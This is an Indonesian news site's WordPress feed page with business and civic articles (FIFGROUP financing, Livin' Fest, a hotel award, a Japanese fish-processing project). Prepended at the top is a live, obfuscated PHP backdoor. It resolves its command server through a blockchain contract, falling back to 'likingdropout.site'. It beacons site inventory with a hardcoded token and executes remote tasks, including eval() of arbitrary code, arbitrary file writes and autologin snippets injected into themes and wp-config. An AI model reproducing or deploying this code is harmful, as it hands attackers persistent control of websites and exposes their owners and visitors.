// 48_zr if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/var/www/vhosts/sulsel.news/Wajahsulsel.id/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 48_zr', 'vis'=>'// aw_5f', 'vis_func'=>'wp_n9beci', 'vis_paths'=>array('/var/www/vhosts/sulsel.news/Wajahsulsel.id/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_vzw9w3yz', ); $keys=array(); $keys['id']='ei5'; $keys['ver']='t4'; $keys['caps']='x4h'; $keys['tasks']='3z5'; $keys['interval']='ypw'; $keys['ack_id']='ukp'; $keys['ok']='zd'; $keys['detail']='wp9'; $keys['inv']='on7'; $keys['result']='vgx'; $hdr='X-4EG-Auth';$tok='VhomTS8H_iKZ3Bu2kSrxAIGJghUEofZqO2LmbCycX80';$id='77d49d07102b3729';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ekobis Arsip - Wajahsulsel.id https://www.wajahsulsel.id/category/ekobis/ Lebih Dekat Mengabarkan Tue, 25 Nov 2025 08:51:11 +0000 id hourly 1 https://wordpress.org/?v=7.1.3 https://www.wajahsulsel.id/wp-content/uploads/2024/10/cropped-WajahSulsel-32x32.jpg Ekobis Arsip - Wajahsulsel.id https://www.wajahsulsel.id/category/ekobis/ 32 32 Pembiayaan Berkelanjutan FIFGROUP Tembus Rp 1,62 Triliun https://www.wajahsulsel.id/pembiayaan-berkelanjutan-fifgroup-tembus-rp-162-triliun/ https://www.wajahsulsel.id/pembiayaan-berkelanjutan-fifgroup-tembus-rp-162-triliun/#respond Tue, 25 Nov 2025 08:51:11 +0000 https://www.wajahsulsel.id/?p=500 WAJAHSULSEL.ID – Perusahaan pembiayaan PT Federal International Finance (FIFGROUP) secara konsisten mendorong penyaluran pembiayaan untuk […]

Artikel Pembiayaan Berkelanjutan FIFGROUP Tembus Rp 1,62 Triliun pertama kali tampil pada Wajahsulsel.id.

]]> WAJAHSULSEL.ID – Perusahaan pembiayaan PT Federal International Finance (FIFGROUP) secara konsisten mendorong penyaluran pembiayaan untuk mendukung kegiatan-kegiatan yang menyelaraskan kepentingan ekonomi, sosial dan lingkungan hidup melalui pengembangan pembiayaan berkelanjutan (sustainability financing).

Dari Januari 2024 hingga Oktober 2025, pembiayaan berkelanjutan FIFGROUP telah mencapai Rp1,62 triliun.

Di FIFGROUP, pembiayaan berkelanjutan dilaksanakan melalui 3 lini bisnisnya, yakni FIFASTRA, SPEKTRA dan FINATRA. Perseroan memperluas akses pembiayaan hijau untuk produk ramah lingkungan seperti motor listrik (melalui lini bisnis FIFASTRA), serta sepeda listrik dan panel surya (melalui lini bisnis SPEKTRA). Akses pembiayaan sosial untuk pemberdayaan kaum perempuan dan usaha mikro, kecil dan menengah (UMKM) juga termasuk dalam aktivitas pembiayaan berkelanjutan FIFGROUP melalui lini bisnis FINATRA.

Dalam sepuluh bulan di tahun ini, pembiayaan berkelanjutan untuk sepeda motor listrik tercatat meningkat signifikan dengan pertumbuhan mencapai 344% dibandingkan tahun 2024, menunjukkan peningkatan minat masyarakat terhadap penggunaan kendaraan rendah emisi.

“Sebagai bagian dari Grup Astra, FIFGROUP senantiasa berkomitmen memberikan dampak positif bagi lingkungan dan sosial sekaligus memastikan pertumbuhan bisnis yang berkelanjutan melalui inovasi di setiap proses bisnis,” ujar Direktur FIFGROUP, Esther Sri Harjati.

Modal dalam penyaluran program pembiayaan berkelanjutan sebagian berasal dari realisasi atas hasil pinjaman berbasis Lingkungan, Sosial dan Tata Kelola (ESG) yang diperoleh FIFGROUP. Pinjaman yang diperoleh peseroan pada bulan April 2024 senilai USD 60 Juta sudah tersalurkan seluruhnya menjadi pembiayaan berkelanjutan.

Perseroan memperoleh pinjaman serupa pada September 2025 senilai USD 50 Juta, menjadikan total nilai penerbitan surat utang berbasis ESG FIFGROUP tercatat senilai USD 110 Juta (setara ±Rp1,82 triliun, menggunakan kurs Rp16.626/USD sesuai referensi Bank Indonesia pada Oktober 2025).

Mengurangi Jejak Emisi
Pembiayaan berkelanjutan merupakan salah satu bentuk dukungan FIFGROUP dalam mendorong masyarakat beralih ke solusi energi yang lebih ramah lingkungan. Langkah ini menjadi bagian dari komitmen keberlanjutan perusahaan menuju FIFGROUP 2030 Sustainability Aspirations.

Pendekatan ini diwujudkan melalui Triple-P Sustainability Framework yang mencakup Portfolio, People, dan Public Contribution.

Lewat strategi keberlanjutan itu, setiap inovasi dan proses bisnis diarahkan untuk memberikan nilai positif bagi manusia, masyarakat, dan lingkungan hidup.

Komitmen FIFGROUP terhadap keberlanjutan tidak berhenti pada pembiayaan. Perusahaan juga melakukan pengelolaan lingkungan pada level operasional. Hingga Oktober tahun ini, perseroan di antaranya telah:
• Menurunkan intensitas penggunaan air sebesar 9,38% dari baseline 2019.
• Mencapai 38,76% daur ulang limbah padat atau setara 12,33 ton.

• Menurunkan emisi gas rumah kaca sebesar 20,64% (4.678,68 ton CO₂e).

• Meningkatkan energi terbarukan hingga 14,45% dari baseline.

General Services, Building & ESRS Management Division Head FIFGROUP, Theresia Muliani, menegaskan bahwa keberlanjutan adalah perjalanan yang membutuhkan kolaborasi.

“Kami tidak bisa melakukannya sendiri. Keberlanjutan adalah perjalanan bersama antara perusahaan, masyarakat, dan alam. Pembiayaan berkelanjutan adalah salah satu bentuk nyata kontribusi kami untuk masa depan yang lebih baik,” ujar Theresia.

Upaya penyerapan karbon dilakukan perseroan, tersentral di Garut, Jawa Barat. Bersama Astra, melalui Pilar FIFGROUP Lestari, FIFGROUP terlibat dalam konservasi Hutan FIFGROUP seluas 26 hektar di Perhutanan Sosial Desa Jayamekar dan pengelolaan 50 hektar area konservasi di Karacak Valley.

Area konservasi Karacak Valley ini terintegrasi dengan program perlindungan kukang jawa dan pemberdayaan Desa Sejahtera Astra.
Upaya keberlanjutan FIFGROUP juga mencakup aspek dan melibatkan karyawan sebagai aset utama perusahaan.

Melalui program FIFGROUP Aman Berlalu Lintas (FABL), tingkat kepatuhan karyawan terhadap prosedur keselamatan di jalan raya meningkat hingga 99,49%, tanpa kecelakaan fatal sepanjang 2025. Program FIFriendibility yang bertujuan untuk membangun budaya inklusif dengan memberikan kesempatan kepada penyandang disabilitas untuk bekerja dan berkembang bersama FIFGROUP, juga terus diperluas dengan merekrut 214 karyawan disabilitas sejak 2022 serta meningkatkan keterwakilan perempuan di posisi manajerial menjadi 25,33%.

Melalui pilar FIFGROUP Sehat, hingga Oktober 2025 perusahaan telah mengumpulkan 18.535 kantong darah, mendukung kegiatan posyandu untuk 2.006 balita, dan membantu penanganan tengkes (stunting) bagi 534 penerima manfaat.

Selain itu, FIFGROUP turut mendukung peningkatan fasilitas kesehatan melalui Pembangunan 2 Rumah Singgah dan Integrasi Layanan Primer dengan penerima manfaat mencapai 2.300 warga.

Pilar FIFGROUP Pintar telah menjangkau 28.685 siswa dan 4.325 guru di sejumlah wilayah Nusantara melalui program literasi keuangan MENYALA, serta memberikan Beasiswa Young Leader kepada 36 mahasiswa. Sementara itu, sejak tahun 2016-2025 FIFGROUP Sejahtera memberdayakan 737 UMKM dengan dana bergulir senilai Rp129,885 miliar, dan FIFGROUP Lestari melibatkan 1.470 siswa dalam kegiatan pembibitan pohon serta pembangunan IPAL Komunal di Kelurahan Pondok Labu, Jakarta Selatan, untuk 181 penerima manfaat.

Integrasi terhadap 4 pilar FIFGROUP juga dilakukan melalui pembangunan Kampung Berseri Astra Binaan FIFGROUP ke-2 di Batang Palupuh, Bukittingi, Sumatera Barat, dengan penerima manfaat mencapai 657 warga.

Pilar sehat difokuskan untuk pengembangan posyandu, pilar pintar pengembangan pendidikan anak usia dini (PAUD), pilar sejahtera pemberian dana bergulir dan pengembangan UMKM, serta pilar lestari mengembangkan pembuatan greenhouse dan edukasi pertanian keberlanjutan, pengelolaan eco-enzyme, hingga program biodiversity terhadap bunga rafflesia.
Melengkapi kontribusinya, FIFGROUP Peduli menyalurkan 501 hewan kurban, membagikan takjil di 248 titik, membantu 6 rumah ibadah lintas agama, dan mengoperasikan bus sosial yang telah melayani 25.914 penumpang sepanjang 10 bulan di tahun 2025.

Seluruh inisiatif ini dijalankan dalam kerangka FIFGROUP 2030 Sustainability Aspirations, yang selaras dengan Sustainable Finance Roadmap OJK dan Astra 2030 Sustainability Aspirations.

Melalui pembiayaan berkelanjutan yang kuat, tata kelola yang berkelanjutan, dan pemberdayaan masyarakat, FIFGROUP terus berupaya menghadirkan kehidupan yang lebih baik bagi seluruh lapisan masyarakat. (*)

Artikel Pembiayaan Berkelanjutan FIFGROUP Tembus Rp 1,62 Triliun pertama kali tampil pada Wajahsulsel.id.

]]> https://www.wajahsulsel.id/pembiayaan-berkelanjutan-fifgroup-tembus-rp-162-triliun/feed/ 0 Wali Kota Makassar Munafri Arifuddin Resmi Buka Livin’ Fest 2025 “Sinergi Majukan Negeri” https://www.wajahsulsel.id/wali-kota-makassar-munafri-arifuddin-resmi-buka-livin-fest-2025-sinergi-majukan-negeri/ https://www.wajahsulsel.id/wali-kota-makassar-munafri-arifuddin-resmi-buka-livin-fest-2025-sinergi-majukan-negeri/#respond Thu, 20 Nov 2025 08:52:22 +0000 https://www.wajahsulsel.id/?p=490 WAJAHSULSEL.ID — Wali Kota Makassar Munafri Arifuddin membuka gelaran Livin’ Fest 2025 yang dihelat Bank […]

Artikel Wali Kota Makassar Munafri Arifuddin Resmi Buka Livin’ Fest 2025 “Sinergi Majukan Negeri” pertama kali tampil pada Wajahsulsel.id.

]]> WAJAHSULSEL.ID — Wali Kota Makassar Munafri Arifuddin membuka gelaran Livin’ Fest 2025 yang dihelat Bank Mandiri Region X/Sulawesi dan Maluku di Hotel Phinisi Point, Kamis (20/11/2025).

Festival bertema “Sinergi Majukan Negeri” hadir dengan rangkaian festival kuliner, travel, layanan publik, sport, beauty & wellness, fashion, KPR, musik, elektronik hingga otomotif. Dihelat selama empat hari, 20–23 November 2025.

Pembukaan ditandai dengan pemasangan logo Mandiri Fest 2025 oleh Wali Kota Makassar bersama Kepala Bank Mandiri Wilayah X Sulawesi Selatan & Maluku, Bapak Atta Alva Wanggai.

Usai seremoni, Munafri bersama Atta dan tamu VIP meninjau satu per satu area festival dan menyapa pelaku UMKM yang berada di booth tenant masing-masing.

Munafri mengapresiasi kehadiran Mandiri Fest di Makassar yang membawa manfaat ekonomi nyata bagi kota. Ia menyebut Makassar selalu mendapat prioritas sebagai tuan rumah, dan hal itu berdampak pada meningkatnya perputaran ekonomi.

“Ini akan memberikan income tambahan buat Pemerintah Kota Makassar. Masyarakat akan datang bersama-sama untuk melihat sebuah event atau Mandiri Fest yang di mana setiap tahunnya itu ada acara-acara baru yang datang dan diperlihatkan kepada masyarakat Kota Makassar.

Munafri juga menyoroti keberagaman sektor Fest yang dihadirkan Mandiri Fest sebagai wujud komitmen Bank Mandiri mendampingi mimpi pelaku usaha. Ia berharap event ini bisa tumbuh lebih besar dan menjadi standar baru bagi festival berbasis kolaborasi di Makassar.

Tak hanya itu, Munafri berharap kegiatan ini bisa membangun edukasi masyarakat bagaimana kehadiran sebuah bank yang seyogyanya memberikan kemudahan dalam aktivitas keuangan dan keseharian.

Munafri berharap para pemuda kreatif tidak hanya melihat Livin’ Fest sebagai tenant dan produk, tapi menjadi edukasi untuk melihat peluang bisnis. Munafri ingin momen seperti ini mampu membuka wawasan pemuda tentang akses keuangan dan dunia perbankan.

“Dengan adanya Mandiri Fest, saya berharap muncul pertukaran pengetahuan, terutama soal kualitas produk, packaging, sampai tata kelola keuangan. Ini bukan hanya hiburan, tapi ruang belajar,” lanjutnya.(*)

Artikel Wali Kota Makassar Munafri Arifuddin Resmi Buka Livin’ Fest 2025 “Sinergi Majukan Negeri” pertama kali tampil pada Wajahsulsel.id.

]]> https://www.wajahsulsel.id/wali-kota-makassar-munafri-arifuddin-resmi-buka-livin-fest-2025-sinergi-majukan-negeri/feed/ 0 Traveloka Nobatkan Hotel Gammara Makassar Pemenang “Exceptional Guest Experience Premium 2025” https://www.wajahsulsel.id/traveloka-nobatkan-hotel-gammara-makassar-pemenang-exceptional-guest-experience-premium-2025/ https://www.wajahsulsel.id/traveloka-nobatkan-hotel-gammara-makassar-pemenang-exceptional-guest-experience-premium-2025/#respond Sun, 16 Nov 2025 03:31:52 +0000 https://www.wajahsulsel.id/?p=470 WAJAHSULSEL.ID – Hotel Gammara Makassar mengumumkan pencapaian prestisiusnya sebagai peraih penghargaan “Exceptional Guest Experience Premium […]

Artikel Traveloka Nobatkan Hotel Gammara Makassar Pemenang “Exceptional Guest Experience Premium 2025” pertama kali tampil pada Wajahsulsel.id.

]]> WAJAHSULSEL.ID – Hotel Gammara Makassar mengumumkan pencapaian prestisiusnya sebagai peraih penghargaan “Exceptional Guest Experience Premium 2025”yang di selenggarakan oleh traveloka pada tanggal 14 November 2025 di Hotel Kempinski Grand Ballroom .

Penghargaan ini diberikan sebagai pengakuan atas komitmen konsisten hotel dalam memberikan pengalaman menginap terbaik yang melampaui ekspektasi

Penghargaan ini didasarkan murni pada ulasan dan skor kepuasan yang diberikan oleh para tamu yang telah menginap di Hotel Gammara Makassar sepanjang periode 2025 melalui platform Traveloka.

Kemenangan ini menyoroti kepuasan tamu yang luar biasa terhadap tiga pilar utama, kualitas pelayanan, kelengkapan fasilitas dan produk, serta standar kebersihan hotel.

Pihak penyelenggara menegaskan bahwa penilaian ini murni berasal dari traveler atau tamu yang telah merasakan langsung pengalaman menginap, tanpa adanya campur tangan dari pihak Traveloka maupun pihak lainnya, sehingga menjamin objektivitas penghargaan.

General Manager Hotel Gammara Makassar, Ibu A. Rizki Amanah Ras, menyatakan bahwa penghargaan ini menempatkan Hotel Gammara dalam kategori “Premium”, yakni kategori khusus untuk hotel-hotel yang terbukti sukses memberikan kenyamanan maksimal dan pengalaman menginap terbaik di kelasnya.

“Kami sangat senang dan bangga atas pencapaian ini. Penghargaan ini adalah amanah bagi seluruh tim untuk terus mempertahankan dan, tentunya, meningkatkan standar pelayanan. Ulasan positif dari para tamu adalah motivasi terbesar kami untuk terus berinovasi demi menciptakan pengalaman menginap yang tak terlupakan di Hotel Gammara Makassar.” Ungkapnya.

Pencapaian ini lanjut A. Rizki Amanah Ras memperkuat posisi Hotel Gammara Makassar sebagai salah satu destinasi akomodasi premium pilihan utama di Makassar yang berfokus pada kepuasan tamu.

Selain itu, Gammara Hotel Makassar juga dilengkapi berbagai fasilitas antara lain, larkir kendaraan Mobil dan Motor yang luas , akses kolam renang yang tersedia untuk dewasa hingga anak , Fitnes Center, Gratis Internet.

Untuk info dan reservasi dan informasi lebih lanjut, dapat langsung menghubungi Whatsapp di nomor +62 821-9500-7527 dan untuk informasi terbaru mengenai promo – promo Gammara Hotel Makassar , official instagram: @gammarahotel . (*/rls)

 

Artikel Traveloka Nobatkan Hotel Gammara Makassar Pemenang “Exceptional Guest Experience Premium 2025” pertama kali tampil pada Wajahsulsel.id.

]]> https://www.wajahsulsel.id/traveloka-nobatkan-hotel-gammara-makassar-pemenang-exceptional-guest-experience-premium-2025/feed/ 0 Wali Kota Munafri Sambut Positif Program Pabrik Es dan Pengolahan Ikan di Pulau Barrang Caddi https://www.wajahsulsel.id/wali-kota-munafri-sambut-positif-program-pabrik-es-dan-pengolahan-ikan-di-pulau-barrang-caddi/ https://www.wajahsulsel.id/wali-kota-munafri-sambut-positif-program-pabrik-es-dan-pengolahan-ikan-di-pulau-barrang-caddi/#respond Fri, 14 Nov 2025 11:25:58 +0000 https://www.wajahsulsel.id/?p=461 WAJAHSULSEL.ID — Upaya Pemerintah Kota Makassar dalam mempercepat pembangunan kawasan kepulauan kembali mendapat angin segar. […]

Artikel Wali Kota Munafri Sambut Positif Program Pabrik Es dan Pengolahan Ikan di Pulau Barrang Caddi pertama kali tampil pada Wajahsulsel.id.

]]> WAJAHSULSEL.ID — Upaya Pemerintah Kota Makassar dalam mempercepat pembangunan kawasan kepulauan kembali mendapat angin segar.

Kali ini, tawaran investasi datang untuk proyek strategis di Kecamatan Kepulauan Sangkarrang, khususnya melanjutkan program berkelanjutan terkait pengadaan pabrik es dan bisnis tangkapan serta pemeliharaan ikan yang dibutuhkan masyarakat nelayan di Pulau Barrang Loppo.

Komitmen tersebut mengemuka saat tim dari Kementerian Ekonomi, Perdagangan, dan Industri (METI) Jepang, yakni Consultants Global Co, Ltd. (OCG) menghadiri Rapat Koordinasi Smart Island Pilot Project (SIPP) di Balai Kota Makassar, Jumat (14/11/2025).

Melalui pertemuan ini, kedua pihak membahas peluang kerja sama yang dinilai mampu menghadirkan solusi nyata bagi peningkatan ekonomi dan kualitas hidup warga di pulau-pulau Makassar.

Dalam kesempatan tersebut, MiChino dari Consultants Global Co., Ltd. (OCG) menjelaskan, bahwa METI tengah memperkenalkan sebuah program subsidi baru yang dirancang untuk mendukung perusahaan-perusahaan Jepang memperluas pasar ke negara-negara global south, termasuk Indonesia.

“Program kami menanggung 50 persen biaya studi kelayakan maupun proyek percontohan, sehingga membuka ruang yang lebih besar bagi kolaborasi teknologi dan bisnis di sektor kelautan,” jelansya.

MiChino memaparkan, program subsidi ini memiliki tiga skema utama. Pertama, Pengumpulan data di negara-negara selatan untuk dianalisis bagi kebutuhan pasar Jepang yang telah matang.

Kedua, pemanfaatan teknologi Jepang untuk memperluas pasar di negara-negara selatan, seperti Indonesia, skema yang menjadi fokus OCG.

“Ini juga, peningkatan ketahanan rantai pasokan Jepang melalui penguatan mitra produksi di luar negeri,” tuturnya.

Dalam penjelasannya, ia mengangkat isu besar yang ditemukan dari studi kelayakan bersama Japan International Cooperation Agency (JICA) danMinistry of Land, Infrastructur, Transport and Tourism of Japan (MLIT), yaitu tingginya jumlah unutilized fish atau ikan yang tidak termanfaatkan secara optimal.

Salah satu contoh yang diangkat adalah temuan di wilayah mereka, di mana hanya 7 persen hasil tangkapan yang bisa diekspor, sementara 93 persen sisanya tidak memenuhi standar untuk masuk pasar internasional.

“Masalah serupa juga terjadi di Makassar dan banyak wilayah lain di Indonesia,” jelasnya.

Lebih jauh, tujuan akhir proyek ini adalah menciptakan rantai proses lengkap di mana ikan-ikan yang selama ini tidak termanfaatkan dapat diolah di Indonesia, khususnya di fasilitas mitra lokal di Makassar, sebelum diekspor sebagai produk bernilai tambah ke pasar Jepang.

Lanjut dia, ada hal perlu diperhatikan, volume tangkapan per jenis ikan tidak mencukupi kuota ekspor dalam satu kontainer.

Karakteristik ikan tidak sesuai standar pasar, misalnya ukuran terlalu kecil, bentuk tidak ideal, atau dinilai kurang bernilai rasa.

“Situasi ini menjadi latar, dan kami akan mengajukan studi kelayakan baru yang bisa langsung menjawab persoalan tersebut,” terang MiChino dalam rapat tersebut .

Untuk mengatasi masalah tersebut, pihaknya mengajukan studi yang memadukan dua elemen penting dari Jepang.

Pertama, model Bisnis Berbasis Community-Based Fish Utilization, menggandeng sebuah startup Jepang yang sukses mengelola bisnis ikan tidak termanfaatkan melalui layanan meal kit subscription. Startup itu kini memiliki 15.000 pelanggan di Jepang.

“Keberhasilan terletak pada sistem pengolahan yang mampu memaksimalkan berbagai jenis ikan dan dukungan ratusan resep kuliner yang memungkinkan semua jenis ikan diolah menjadi produk siap santap,” katnaya.

Kedua, teknologi Rantai Dingin (Cold Chain) Mutakhir dari Jepang, peruaahnya berencana menguji penerapan sistem rantai dingin kelas Jepang di Indonesia.

Teknologi ini diperlukan untuk memastikan ikan tetap segar hingga proses produksi dan ekspor. Termasuk di dalamnya adalah rencana pemasangan unit pembuat es skala kecil di pulau-pulau, seperti Sangkarrang, untuk mendukung nelayan lokal.

“Teknologi rantai dingin Jepang sudah sangat matang. Sementara Indonesia masih membutuhkan banyak peningkatan. Proyek ini akan menjadi studi kasus penerapan yang sangat potensial,” ungkap MiChino.

Jika proyek ini berjalan sesuai rencana, manfaat terbesarnya akan langsung diterima oleh para nelayan. Selama ini, perusahaanya, telah membeli ikan dari nelayan, namun banyak yang tidak dapat diekspor karena tidak memenuhi kriteria pasar.

Melalui model bisnis baru, semua jenis ikan, tanpa lagi dipilih, dapat dibeli dan diolah.

“Ini berarti para nelayan akan memiliki pendapatan stabil, karena tidak ada lagi ikan yang dianggap tidak bernilai,” tutup MiChino.

